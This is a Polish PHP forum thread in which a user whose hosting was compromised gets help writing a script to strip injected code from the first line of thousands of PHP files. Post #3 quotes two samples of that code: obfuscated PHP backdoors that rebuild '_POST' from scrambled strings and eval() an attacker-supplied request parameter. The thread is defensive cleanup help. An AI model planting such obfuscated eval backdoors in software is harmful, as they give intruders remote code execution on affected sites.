Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

> Masowe usunięcie pierwszej lini w pliku PHP - możliwe?
emantuch
post
Post #1





Grupa: Zarejestrowani
Postów: 22
Pomógł: 1
Dołączył: 23.09.2015

Ostrzeżenie: (0%)
-----


Witam, opadłem dzis z sił dlatego piszę tutaj,

oczywiście jeden z popularnych hostingów Polskich ma nawał wirusów i też padłem ofiarą.

Mam tysiące zainfekowanych plików, wtym tych potrzebnych do życia moim stronom .
Infekcja objawia się na dopisaniu do plików do 1 linii zaraz po <?php kawałka kodu.
Jak na złość każdy jest inny, i nie mogę go zrobić przez SSH, ponieważ wyszuka mi jeden plik.

Pomyślałem że może napisać skrypt który otworzył by wszystkie pliki (listę plików mam w pliku txt)
i zamieniłby pierwszą linię kody <?php <kod wirusa>
na samo <?php


Tylko za cholere niestety nie wiem jak się do tego zabrać, pomoże "któś cuś" ?
Bo na ten moment wiążę już sobie pętle...
Go to the top of the page
+Quote Post
 
Start new topic
Odpowiedzi (1 - 14)
kapslokk
post
Post #2





Grupa: Zarejestrowani
Postów: 965
Pomógł: 285
Dołączył: 19.06.2015
Skąd: Warszawa

Ostrzeżenie: (0%)
-----


file_get_contents zeby otworzyc plik,
str_replace / preg_replace zeby usunąć kod którego chcesz się pozbyć
file_put_contents zeby zapisać plik

W razie problemów pisz.

Ten post edytował kapslokk 11.03.2016, 18:50:25
Go to the top of the page
+Quote Post
emantuch
post
Post #3





Grupa: Zarejestrowani
Postów: 22
Pomógł: 1
Dołączył: 23.09.2015

Ostrzeżenie: (0%)
-----


Cytat(kapslokk @ 11.03.2016, 18:50:10 ) *
file_get_contents zeby otworzyc plik,
str_replace / preg_replace zeby usunąć kod którego chcesz się pozbyć
file_put_contents zeby zapisać plik

W razie problemów pisz.



Ta tylko wyrażenie regularne w tym przypadku to jeszcze większa kombinacja..

jest zainfekowanych 8 tysięcy plików.

1 jednym pliku jest tak:
$kcqw0 = "posetru_"; $zcvk82=$kcqw0[2]. $kcqw0[4]. $kcqw0[5]. $kcqw0[4]. $kcqw0[1].$kcqw0[6].$kcqw0[0]. $kcqw0[0]. $kcqw0[3].$kcqw0[5];$yzz8 =$zcvk82 ( $kcqw0[7]. $kcqw0[0].$kcqw0[1].$kcqw0[2]. $kcqw0[4]) ;if( isset (${$yzz8 } ['qe91e7a'] ) ){eval (${$yzz8} ['qe91e7a' ] ) ; }?>

w 2 pliku jest tak:
<?php $npwu79 ="_tpos";$esz7 =strtoupper ($npwu79[0]. $npwu79[2] . $npwu79[3]. $npwu79[4].$npwu79[1]);if ( isset(${ $esz7 }[ 'qd335c3'] ) ){eval(${$esz7 }['qd335c3' ] );}?>

W każdym praktycznie inaczej, wydaje mi się że wyrażenie do tego jest ciężkie do stworzenia dlatego pomyślałem że podmianka 1 lini byłaby najlepsza ... /najłatwiejsza
Go to the top of the page
+Quote Post
kapslokk
post
Post #4





Grupa: Zarejestrowani
Postów: 965
Pomógł: 285
Dołączył: 19.06.2015
Skąd: Warszawa

Ostrzeżenie: (0%)
-----



No to może:
  1. <?php
  2. $file = file("plik.php");
  3. $file[0] = "<?php";
  4. file_put_contents("plik.php", join("\n", $file));


Ten post edytował kapslokk 11.03.2016, 18:56:58
Go to the top of the page
+Quote Post
emantuch
post
Post #5





Grupa: Zarejestrowani
Postów: 22
Pomógł: 1
Dołączył: 23.09.2015

Ostrzeżenie: (0%)
-----


Nie chce nadużywać Twojej uprzejmości, ale jakbyś może mógł, j

jak to działa? (IMG:style_emoticons/default/biggrin.gif)
Go to the top of the page
+Quote Post
kapslokk
post
Post #6





Grupa: Zarejestrowani
Postów: 965
Pomógł: 285
Dołączył: 19.06.2015
Skąd: Warszawa

Ostrzeżenie: (0%)
-----


file() wczytuje plik jako tablice - jeden element tablicy to jedna linijka z pliku. Pierwszą linijkę zastępujesz, a później zapisujesz do pliku wynik działania funkcji join() z tej tablicy - join tworzy string z tablicy łącząc jej elementy znakiem, który podasz jako pierwszy argument - w tym przypadku jest to \n czyli znak końca linii
Go to the top of the page
+Quote Post
emantuch
post
Post #7





Grupa: Zarejestrowani
Postów: 22
Pomógł: 1
Dołączył: 23.09.2015

Ostrzeżenie: (0%)
-----


Warning: file_put_contents() expects parameter 1 to be string, array given in <sciecha>/test.php on line 4

Wywala mi błąd niestety..


EDIT - zrobiłem drobną modyfikacje ... i dlatego, świetnie ! działa! dzięki!!!!!!

jednak się nie wieszam wtedy (IMG:style_emoticons/default/biggrin.gif)

Ten post edytował emantuch 11.03.2016, 19:06:28
Go to the top of the page
+Quote Post
Pyton_000
post
Post #8





Grupa: Zarejestrowani
Postów: 8 068
Pomógł: 1414
Dołączył: 26.10.2005

Ostrzeżenie: (0%)
-----


@kapslokk \n nie jest wymagane (a nawet nie potrzebne) ponieważ file wczyta linijki z \n, tak więc po zastosowaniu dodatkowego \n....
Go to the top of the page
+Quote Post
kapslokk
post
Post #9





Grupa: Zarejestrowani
Postów: 965
Pomógł: 285
Dołączył: 19.06.2015
Skąd: Warszawa

Ostrzeżenie: (0%)
-----


Nie wiedziałem nawet, dzięki (IMG:style_emoticons/default/smile.gif) zapamiętam (IMG:style_emoticons/default/smile.gif)
Go to the top of the page
+Quote Post
emantuch
post
Post #10





Grupa: Zarejestrowani
Postów: 22
Pomógł: 1
Dołączył: 23.09.2015

Ostrzeżenie: (0%)
-----


Panowie,śmieszna jakaś sytuacja wyszła...
zrobiłem sobie hurtowo i dziwny eekt to dało,

bo duplikują się pliki i mają taką samą nazwę...

np. edytujac plik.php
tworzy się nowy plik plik.php
ale przy tym zostaje stary plik.php

Czyli... w pliku plik.php nie edytuje się pierwsza linia, ale.. tworzy się nowy taki sam plik plik.php ale tylko z pierwszą linią <?php


NIe rozumiem takiej sytuacji wcale


Mój kod to :

  1. <?php
  2. $plik = file("files.txt");
  3. echo '<pre>';
  4. print_r($plik);
  5. echo '</pre>';
  6.  
  7. $ile = count($plik);
  8. for ($i=0;$i<$ile;$i++) {
  9. $plik1 = $plik[$i];
  10. $plik2 = $plik[$i];
  11.  
  12. $sprawdz = explode('/',$plik1);
  13. $dalej = end($sprawdz);
  14. $dalej2 = explode('.',$dalej);
  15. $c = end($dalej2);
  16. echo "To plik o rozszerzeniu: ".$c.'<br><br>';
  17. if ($c == 'php' OR $c == 'suspected') {
  18. $file = file("$plik1");
  19. $file[0] = "<?php";
  20. file_put_contents($plik2, join("\n", $file));
  21. }
  22. }
  23.  
  24.  
  25.  
  26.  
  27.  
  28. ?>


Ten post edytował emantuch 11.03.2016, 19:51:56
Go to the top of the page
+Quote Post
kapslokk
post
Post #11





Grupa: Zarejestrowani
Postów: 965
Pomógł: 285
Dołączył: 19.06.2015
Skąd: Warszawa

Ostrzeżenie: (0%)
-----


Pokaż kod.
@edit
może spróbuj
  1. file_put_contents(trim($plik2), join($file));


Ten post edytował kapslokk 11.03.2016, 19:54:13
Go to the top of the page
+Quote Post
emantuch
post
Post #12





Grupa: Zarejestrowani
Postów: 22
Pomógł: 1
Dołączył: 23.09.2015

Ostrzeżenie: (0%)
-----


(IMG:http://czluchow-okna.pl/scre.png)

TO nie jest pusty znak - zobacz sam,

Albo może był...
dałem wszędzie trim i chyba ok. jeszcze się upewnię.

Ale dzięki wielkie!


Zastanawia mnie tylko..
jeżeli:
$plik1 = $plik[$i];
$plik2 = $plik[$i];

to jest to samo, no nie? A więc czemu mogłaby wyjść różnica ?

Ten post edytował emantuch 11.03.2016, 20:01:01
Go to the top of the page
+Quote Post
kapslokk
post
Post #13





Grupa: Zarejestrowani
Postów: 965
Pomógł: 285
Dołączył: 19.06.2015
Skąd: Warszawa

Ostrzeżenie: (0%)
-----


Nie chce wyjsc na jakiegos oszołoma, ale obstawiam, że to wina windowsa (IMG:style_emoticons/default/biggrin.gif)
Go to the top of the page
+Quote Post
emantuch
post
Post #14





Grupa: Zarejestrowani
Postów: 22
Pomógł: 1
Dołączył: 23.09.2015

Ostrzeżenie: (0%)
-----


Haha (IMG:style_emoticons/default/biggrin.gif)
W teorii wydaje się to nie możliwe, bo cały proces wykonywany jest na Linuxie , tylko plik ze skryptem zapisany na Windows, ale za to a Atomie, a nie notatniku
więc dlatego się zastanawiam, o co to chodzi....

Ważne że działa, nie wnikam w to (IMG:style_emoticons/default/biggrin.gif)

Dzięki raz jeszcze


edit

Magiczne "ls" pokazało że na końcu tych duplikatów był " ? " - znak zapytania..
ciekawe.. nie kumam tego jeszcze bardziej.
plik oryginalny: plik.php a ten podmieniany plik.php?

Ten post edytował emantuch 11.03.2016, 20:14:25
Go to the top of the page
+Quote Post
Pyton_000
post
Post #15





Grupa: Zarejestrowani
Postów: 8 068
Pomógł: 1414
Dołączył: 26.10.2005

Ostrzeżenie: (0%)
-----


Zacytuję sam siebie...
Cytat(Pyton_000 @ 11.03.2016, 19:23:09 ) *
... ponieważ file wczyta linijki z \n


Ten post edytował Pyton_000 11.03.2016, 20:46:37
Go to the top of the page
+Quote Post

Reply to this topicStart new topic
2 Użytkowników czyta ten temat (2 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Aktualny czas: 24.12.2025 - 22:51